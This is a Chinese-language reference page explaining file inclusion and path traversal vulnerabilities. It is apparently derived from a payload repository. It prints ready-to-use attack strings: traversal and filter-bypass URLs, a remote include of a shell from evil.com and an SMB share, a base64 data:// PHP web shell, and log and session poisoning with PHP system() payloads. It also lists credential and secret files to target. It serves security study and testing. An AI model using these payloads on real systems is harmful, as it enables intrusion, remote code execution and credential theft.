菜单

文件包含和路径遍历

相关源文件

目的与范围

本文档全面概述了文件包含和路径遍历漏洞,这两种密切相关的Web安全问题允许攻击者在服务器上访问或执行未经授权的文件。尽管这些漏洞具有相似之处,但它们具有不同的特性和利用技术。本页涵盖了它们的概念、利用方法、常见攻击向量以及供安全专业人员和开发人员参考的技术细节。

有关服务器端请求伪造的信息,尽管它有时与这些漏洞混淆但操作方式不同,请参见服务器端请求伪造 (SSRF)

来源: 文件包含/README.md1-3 目录遍历/README.md1-3

概念概述

文件包含 vs 路径遍历

文件包含和路径遍历是不同但相关的漏洞

  • 文件包含:当应用程序在没有适当验证的情况下,根据用户输入包含文件时发生。当包含的文件包含可执行代码(例如PHP)时,这通常会导致代码执行。

  • 路径遍历:允许攻击者遍历目录结构以访问预期目录之外的文件,通常用于未经授权地读取敏感文件。

主要区别在于文件包含会导致代码执行,而路径遍历主要实现未经授权的文件访问。

来源: 文件包含/README.md29-31 目录遍历/README.md1-3

路径遍历技术

基本概念

路径遍历涉及操纵路径引用以访问目标目录之外的文件,通常使用 ../ 等目录遍历序列。

一个基本的攻击可能看起来像

http://example.com/index.php?file=../../../etc/passwd

来源: 文件包含/README.md35-46 目录遍历/README.md1-3

绕过过滤器的编码方法

可以使用各种编码技术来绕过安全过滤器

技术描述示例
URL 编码使用 % 编码特殊字符%2e%2e%2f 用于 ../
双重 URL 编码应用两次 URL 编码%252e%252e%252f 用于 ../
UTF-8 编码使用 UTF-8 编码字符%c0%ae%c0%ae%c0%af 用于 ../
空字节终止字符串处理 (PHP < 5.3.4)../../../etc/passwd%00
路径截断利用长度限制 (>4096 字节)../../../etc/passwd/./././.[MANY MORE]

来源: 目录遍历/README.md37-48 目录遍历/README.md64-72 目录遍历/README.md83-91 目录遍历/README.md97-104 文件包含/README.md48-55

特殊平台特定技术

Windows 特有技术

  • UNC 共享:使用 Windows UNC 路径语法,例如 \\localhost\c$\windows\win.ini
  • FindFirstFile:使用掩码(<< 表示 *> 表示 ?)来绕过文件名过滤器
  • IIS 短文件名:利用 IIS 中的 8.3 文件名格式

反向代理实现

Nginx 将 /..;/ 视为一个目录,而 Tomcat 将其视为 /../,这在配置错误的反向代理设置中创造了路径遍历的机会。

来源: 目录遍历/README.md158-164 目录遍历/README.md136-139 目录遍历/README.md208-224 文件包含/LFI 到 RCE.md95-106

本地文件包含 (LFI)

本地文件包含发生在应用程序根据用户输入包含本地文件系统中的文件,而未正确验证该输入时。

易受攻击的代码模式

这种简单的模式是大多数 LFI 漏洞的根源,允许攻击者操纵 page 参数以包含非预期文件。

来源: 文件包含/README.md35-40

过滤器绕过技术

除了路径遍历中提到的编码方法外,LFI 特有的其他技术包括

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../etc/passwd

来源: 文件包含/README.md89-93

远程文件包含 (RFI)

远程文件包含允许攻击者从远程服务器包含文件,可能执行恶意代码。

要求与限制

RFI 通常需要以下 PHP 设置

此设置自 PHP 5 起默认禁用,这限制了 RFI 的普及性,使其不如 LFI 常见。

利用示例

http://example.com/index.php?page=http://evil.com/shell.txt

SMB 协议绕过

allow_url_includeallow_url_fopen 设置为 Off 时,攻击者仍然可以在 Windows 系统上使用 SMB 协议

http://example.com/index.php?page=\\10.0.0.1\share\shell.php

来源: 文件包含/README.md95-103 文件包含/README.md108-109 文件包含/README.md125-130

用于文件包含的 PHP 包装器

PHP 包装器扩展了文件包含功能的工作方式,提供了超出标准文件包含的额外攻击向量。

php://filter 包装器

`php://filter` 包装器可用于通过编码读取源代码,或通过复杂的过滤器链实现 RCE

http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

这将返回 index.php 的 base64 编码内容,可以对其进行解码以显示源代码。

来源: 文件包含/包装器.md20-71

data:// 包装器

`data://` 包装器可用于将数据作为文件包含,从而实现直接代码执行

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

此 base64 编码的 payload 解码为执行系统命令的 PHP 代码。

来源: 文件包含/包装器.md73-81

其他值得注意的包装器

  • expect://:直接执行系统命令(如果已启用)
  • input://:使用 POST 数据作为包含文件内容
  • zip://:从 ZIP 档案中包含文件
  • phar://:从 PHAR 档案中包含文件,可能导致反序列化攻击

来源: 文件包含/包装器.md83-196

LFI 到 RCE 权限提升技术

LFI 漏洞通常可以使用各种技术提升为远程代码执行

日志文件投毒

最常见的技术之一是向日志文件中注入 PHP 代码,然后包含这些日志

  1. 通过 User-Agent、SSH 登录尝试或 SMTP 注入 PHP 代码

    curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
    
  2. 包含日志文件

    http://example.com/index.php?page=/var/log/apache2/access.log&cmd=id
    

常见的日志文件位置包括

  • /var/log/apache2/access.log
  • /var/log/apache2/error.log
  • /var/log/nginx/access.log
  • /var/log/auth.log (SSH)
  • /var/log/mail (邮件)

来源: 文件包含/LFI 到 RCE.md116-191

/proc 文件利用

`/proc` 目录提供了对进程信息的访问,可用于 RCE

  • /proc/self/environ:包含包括 User-Agent 头在内的环境变量
  • /proc/*/fd/*:可能指向已上传文件的文件描述符

来源: 文件包含/LFI 到 RCE.md22-41

PHP 会话

PHP 将会话数据存储在文件中,这些文件可以被投毒然后被包含

  1. 设置恶意会话变量

    login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
    
  2. 包含会话文件

    login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_[SESSION_ID]
    

会话文件通常存储在

  • /var/lib/php5/sess_[PHPSESSID]
  • /var/lib/php/sessions/sess_[PHPSESSID]

来源: 文件包含/LFI 到 RCE.md193-219

路径遍历的目标文件

在利用路径遍历漏洞时,某些文件因其敏感信息而常成为攻击目标。

Linux 感兴趣的文件

类别文件路径信息
系统信息/etc/issue, /etc/group, /etc/hosts系统详细信息、组成员身份、主机配置
身份验证/etc/passwd, /etc/shadow用户帐户、密码哈希
进程信息/proc/self/environ, /proc/version环境变量、内核版本
用户数据/home/$USER/.bash_history, /home/$USER/.ssh/id_rsa命令历史记录、SSH 私钥
网络/proc/net/arp, /proc/net/tcp网络连接和路由
Kubernetes/run/secrets/kubernetes.io/serviceaccount/token服务账户令牌

来源: 目录遍历/README.md236-299

Windows 感兴趣的文件

类别文件路径信息
系统文件C:\Windows\win.ini, C:\windows\system32\license.rtf系统配置
Web 服务器c:/inetpub/wwwroot/web.config, c:/inetpub/logs/logfilesWeb 服务器配置、日志
凭据c:/windows/repair/sam, c:/windows/repair/system系统账户信息
部署c:/unattend.xml, c:/sysprep.inf部署配置

来源: 目录遍历/README.md301-334 文件包含/LFI 到 RCE.md272-295

实际示例

基本 LFI 攻击

针对 /etc/passwd 文件的基本 LFI 攻击

http://example.com/index.php?page=../../../etc/passwd

使用 SMB 协议的 RFI 攻击

使用 SMB 协议的 RFI 攻击

  1. 创建一个对所有人开放的共享
  2. 将 PHP 代码写入文件(shell.php
  3. 通过以下方式访问
    http://example.com/index.php?page=\\10.0.0.1\share\shell.php
    

php://filter Base64 解码技术

读取文件源代码

http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

然后解码 base64 输出

来源: 文件包含/README.md42-46 文件包含/README.md125-130 文件包含/包装器.md30-31 文件包含/包装器.md49-51

高级利用工具

工具目的来源
P0cL4bs/KadimusLFI 利用工具文件包含/README.md23
D35m0nd142/LFISuite自动 LFI 扫描器和利用工具文件包含/README.md24
kurobeats/fimapLFI/RFI 扫描器和利用工具文件包含/README.md25
synacktiv/php_filter_chain_generator生成用于 RCE 的 PHP 过滤器链文件包含/包装器.md55-61
wireghoul/dotdotpwn目录遍历模糊测试工具目录遍历/README.md29-33

来源: 文件包含/README.md21-27 目录遍历/README.md27-33

总结

文件包含和路径遍历漏洞代表着Web应用程序中的重大安全风险。尽管它们共享相似的利用技术,但其影响不同

  • 路径遍历主要实现未经授权的文件访问
  • 文件包含可能导致代码执行,特别是与其他技术结合使用时

理解这些漏洞、它们的利用方法以及可用工具对于进行安全评估的安全专业人员和实施安全应用程序的开发人员都至关重要。